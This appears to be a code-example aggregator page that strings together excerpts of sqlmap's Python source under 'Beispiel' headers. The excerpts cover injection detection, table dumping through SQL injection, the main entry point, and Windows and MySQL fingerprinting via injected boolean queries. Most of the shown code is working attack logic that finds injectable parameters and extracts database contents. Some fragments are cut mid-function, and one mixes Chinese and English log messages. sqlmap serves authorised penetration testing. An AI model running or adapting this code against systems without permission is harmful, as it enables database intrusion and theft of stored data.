                                if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                    infoMsg = "skipping %s parameter '%s'" % (place, parameter)
                                    logger.info(infoMsg)
                                    continue

                            infoMsg = "testing for SQL injection on %s " % place
                            infoMsg += "parameter '%s'" % parameter
                            logger.info(infoMsg)

                            injection = checkSqlInjection(place, parameter, value)
                            proceed = not kb.endDetection

                            if injection is not None and injection.place is not None:
                                kb.injections.append(injection)

                                # In case when user wants to end detection phase (Ctrl+C)
                                if not proceed:
                                    break

                                msg = "%s parameter '%s' " % (injection.place, injection.parameter)
                                msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
                                test = readInput(msg, default="N")

                                if test[0] not in ("y", "Y"):
                                    proceed = False
                                    paramKey = (conf.hostname, conf.path, None, None)
                                    kb.testedParams.add(paramKey)
                            else:
                                warnMsg = "%s parameter '%s' is not " % (place, parameter)
                                warnMsg += "injectable"
                                logger.warn(warnMsg)

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters appear to be not injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase '--level'/'--risk' values "
                        errMsg += "to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests. "
                        errMsg += "Please, consider usage of tampering scripts as "
                        errMsg += "your target might filter the queries."

                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
                        errMsg += "(or '--regexp')"
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have choosen does not match "
                        errMsg += "exclusively True responses"
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have choosen "
                        errMsg += "does not match exclusively True responses"

                    raise SqlmapNotVulnerableException(errMsg)
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    exploit = readInput(message, default="Y")

                    condition = not exploit or exploit[0] in ("y", "Y")
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    pass
                elif test[0] in ("n", "N"):
                    return False
                elif test[0] in ("q", "Q"):
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getUnicode(ex.message)

            if conf.multipleTargets:
                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg)
            else:
                logger.critical(errMsg)
                return False

        finally:
Beispiel #55
0
            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
            logger.warn(warnMsg)
    except (OSError, IOError), ex:
        try:
            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
        except Exception, _:
            errMsg = "unable to write to the temporary directory ('%s'). " % _
            errMsg += "Please make sure that your disk is not full and "
            errMsg += "that you have sufficient write permissions to "
            errMsg += "create temporary files and/or directories"
            raise SqlmapSystemException(errMsg)

        warnMsg = "unable to %s output directory " % (
            "create"
            if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
        warnMsg += "Using temporary directory '%s' instead" % getUnicode(
            tempDir)
        logger.warn(warnMsg)

        paths.SQLMAP_OUTPUT_PATH = tempDir

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH),
                                   normalizeUnicode(getUnicode(conf.hostname)))

    if not os.path.isdir(conf.outputPath):
        try:
            os.makedirs(conf.outputPath, 0755)
        except (OSError, IOError), ex:
            try:
                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
Beispiel #56
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(
                    conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(filter(None, columns.keys()))

                if conf.excludeCol:
                    colList = [
                        _ for _ in colList
                        if _ not in conf.excludeCol.split(',')
                    ]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                colNames = colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column), _,
                                           colString)

                entriesCount = 0

                if any(
                        isTechniqueAvailable(_)
                        for _ in (PAYLOAD.TECHNIQUE.UNION,
                                  PAYLOAD.TECHNIQUE.ERROR,
                                  PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (
                            colString, tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
                                and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
                                where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table,
                                                    colList,
                                                    blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(
                                    *[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString,
                                                              conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                         DBMS.PGSQL,
                                                         DBMS.HSQLDB):
                        query = rootQuery.inband.query % (
                            colString, conf.db, tbl,
                            prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db,
                                                          tbl)

                    query = whereQuery(query)

                    if not entries and query:
                        entries = inject.getValue(query,
                                                  blind=False,
                                                  time=False,
                                                  dump=True)

                    if not isNoneValue(entries):
                        if isinstance(entries, basestring):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {
                                    "length": len(column),
                                    "values": BigArray()
                                }

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, basestring):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(
                                        entry[index]
                                    ) if index < len(entry) else u''

                                _ = len(
                                    DUMP_REPLACEMENTS.get(
                                        getUnicode(colEntry),
                                        getUnicode(colEntry)))
                                maxLen = max(len(column), _)

                                if maxLen > kb.data.dumpedTable[column][
                                        "length"]:
                                    kb.data.dumpedTable[column][
                                        "length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(
                                    colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable(
                ) and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (
                            tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" %
                                                         (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = whereQuery(query)

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
                            conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                         DBMS.SYBASE,
                                                         DBMS.MAXDB,
                                                         DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                             DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table,
                                                colList,
                                                count,
                                                blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                  DBMS.DB2)
                        indexRange = getLimitRange(count,
                                                   dump=True,
                                                   plusOne=plusOne)

                        if len(colList) < len(
                                indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" %
                                                   (column, kb.dumpTable),
                                                   union=False,
                                                   error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (
                                        column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (
                                            DBMS.MYSQL, DBMS.PGSQL):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            conf.db, conf.tbl,
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(tbl, column),
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (
                                            agent.preprocessField(
                                                tbl, column), tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (
                                            index,
                                            agent.preprocessField(tbl,
                                                                  column), tbl)

                                    query = whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(
                                        query,
                                        union=False,
                                        error=False,
                                        dump=True)
                                    value = '' if value is None else value

                                    _ = DUMP_REPLACEMENTS.get(
                                        getUnicode(value), getUnicode(value))
                                    lengths[column] = max(
                                        lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {
                            "length": length,
                            "values": columnEntries
                        }

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
                                                     and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += "in database '%s'%s" % (
                        unsafeSQLIdentificatorNaming(conf.db),
                        " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {
                        "count": entriesCount,
                        "table": safeSQLIdentificatorNaming(tbl, True),
                        "db": safeSQLIdentificatorNaming(conf.db)
                    }
                    try:
                        attackDumpedTable()
                    except (IOError, OSError), ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % ex.message
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException, ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % ex.message
                logger.critical(errMsg)

            finally:
Beispiel #57
0
def main():
    """
    Main function of sqlmap when running from command line.
    """

    try:
        paths.SQLMAP_ROOT_PATH = modulePath()
        setPaths()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if hasattr(conf, "api"):
            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
            sys.stderr = StdDbOut(conf.taskid, messagetype="stderr")
            setRestAPILog()

        banner()

        dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER,
                     forceOutput=True)
        dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"),
                     forceOutput=True)

        init()

        if conf.profile:
            profile()
        elif conf.smokeTest:
            smokeTest()
        elif conf.liveTest:
            liveTest()
        else:
            start()

    except SqlmapUserQuitException:
        errMsg = "user quit"
        logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapBaseException as e:
        e = getUnicode(e)
        logger.critical(e)
        sys.exit(1)

    except KeyboardInterrupt:
        print
        errMsg = "user aborted"
        logger.error(errMsg)

    except EOFError:
        print
        errMsg = "exit"
        logger.error(errMsg)

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        logger.critical(errMsg)
        kb.stickyLevel = logging.CRITICAL
        dataToStdout(setColor(traceback.format_exc()))

    finally:
        dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"),
                     forceOutput=True)

        kb.threadContinue = False
        kb.threadException = True

        if conf.get("hashDB"):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if hasattr(conf, "api"):
            try:
                conf.database_cursor.disconnect()
            except KeyboardInterrupt:
                pass

        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
        if conf.get("threads", 0) > 1 or conf.get("dnsServer"):
            os._exit(0)
Beispiel #58
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack():
            return

        if not Backend.getOs():
            Backend.setOs(OS.WINDOWS)

        if not detailed:
            return

        infoMsg = "对后端DBMS操作系统进行指纹识别 "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        infoMsg = "后端DBMS操作系统是%s" % Backend.getOs()

        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))

        # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
        # http://en.wikipedia.org/wiki/Windows_NT#Releases
        versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
                     "2000": ("5.0", (4, 3, 2, 1)),
                     "XP": ("5.1", (3, 2, 1)),
                     "2003": ("5.2", (2, 1)),
                     "Vista or 2008": ("6.0", (2, 1)),
                     "7 or 2008 R2": ("6.1", (1, 0)),
                     "8 or 2012": ("6.2", (0,)),
                     "8.1 or 2012 R2": ("6.3", (0,)) }

        # Get back-end DBMS underlying operating system version
        for version, data in versions.items():
            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Windows NT " + data[0] + "%')"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsVersion(version)
                infoMsg += " %s" % Backend.getOsVersion()
                break

        if not Backend.getOsVersion():
            Backend.setOsVersion("2003")
            Backend.setOsServicePack(2)

            warnMsg = "unable to fingerprint the underlying operating "
            warnMsg += "system version, assuming it is Windows "
            warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack())
            logger.warn(warnMsg)

            self.cleanup(onlyFileTbl=True)

            return

        # Get back-end DBMS underlying operating system service pack
        sps = versions[Backend.getOsVersion()][1]
        for sp in sps:
            query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Service Pack " + getUnicode(sp) + "%')"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsServicePack(sp)
                break

        if not Backend.getOsServicePack():
            debugMsg = "assuming the operating system has no service pack"
            logger.debug(debugMsg)

            Backend.setOsServicePack(0)

        if Backend.getOsVersion():
            infoMsg += " Service Pack %d" % Backend.getOsServicePack()

        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Beispiel #59
0
        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
            or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
            kb.pageEncoding = httpCharset or metaCharset  # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
            debugMsg = "declared web page charset '%s'" % kb.pageEncoding
            singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
        else:
            kb.pageEncoding = None
    else:
        kb.pageEncoding = conf.charset

    # can't do for all responses because we need to support binary files too
    if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
        if kb.heuristicMode:
            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
            page = getUnicode(page, kb.pageEncoding)
        else:
            # e.g. &#195;&#235;&#224;&#226;&#224;
            if "&#" in page:
                page = re.sub(r"&#(\d{1,3});", lambda _: chr(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)

            # e.g. %20%28%29
            if "%" in page:
                page = re.sub(r"%([0-9a-fA-F]{2})", lambda _: _.group(1).decode("hex"), page)

            # e.g. &amp;
            page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)

            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))

            if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig":
    def checkDbms(self):
        """
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """

        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace(">", "")
            v = v.replace("=", "")
            v = v.replace(" ", "")

            Backend.setVersion(v)

            setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("5"):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.MYSQL
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.MYSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("USER() LIKE USER()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
                logger.warn(warnMsg)

                return False

            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

            # Determine if it is MySQL >= 5.0.0
            if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,%s,%s))" % (randInt, randInt)):
                kb.data.has_information_schema = True
                Backend.setVersion(">= 5.0.0")
                setDbms("%s 5" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
                    Backend.setVersion(">= 5.5.0")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
                    if inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" % (randInt, randInt)):
                        Backend.setVersionList([">= 5.1.12", "< 5.5.0"])
                    elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)" % (randInt, randInt)):
                        Backend.setVersionList([">= 5.1.7", "< 5.1.12"])
                    elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)" % (randInt, randInt)):
                        Backend.setVersion("= 5.1.6")
                    elif inject.checkBooleanExpression("%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)" % (randInt, randInt)):
                        Backend.setVersionList([">= 5.1.5", "< 5.1.6"])
                    else:
                        Backend.setVersionList([">= 5.1.2", "< 5.1.5"])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression("@@hostname=@@hostname"):
                    Backend.setVersionList([">= 5.0.38", "< 5.1.2"])
                elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"):
                    Backend.setVersionList([">= 5.0.19", "< 5.0.38"])
                elif not inject.checkBooleanExpression("%s=(SELECT %s FROM DUAL WHERE %s!=%s)" % (randInt, randInt, randInt, randInt)):
                    Backend.setVersionList([">= 5.0.11", "< 5.0.19"])
                elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"):
                    Backend.setVersionList([">= 5.0.6", "< 5.0.11"])
                elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
                    Backend.setVersionList([">= 5.0.3", "< 5.0.6"])
                else:
                    Backend.setVersionList([">= 5.0.0", "< 5.0.3"])

            # For cases when information_schema is missing
            elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
                Backend.setVersion(">= 5.0.2")
                setDbms("%s 5" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
                Backend.setVersion("< 5.0.0")
                setDbms("%s 4" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
                    Backend.setVersionList([">= 4.1.11", "< 5.0.0"])
                elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
                    Backend.setVersionList([">= 4.1.1", "< 4.1.11"])
                elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
                    Backend.setVersionList([">= 4.0.6", "< 4.1.1"])

                    if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
                        Backend.setVersion("= 4.1.0")
                    else:
                        Backend.setVersionList([">= 4.0.6", "< 4.1.0"])
                else:
                    Backend.setVersionList([">= 4.0.0", "< 4.0.6"])
            else:
                Backend.setVersion("< 4.0.0")
                setDbms("%s 3" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
            logger.warn(warnMsg)

            return False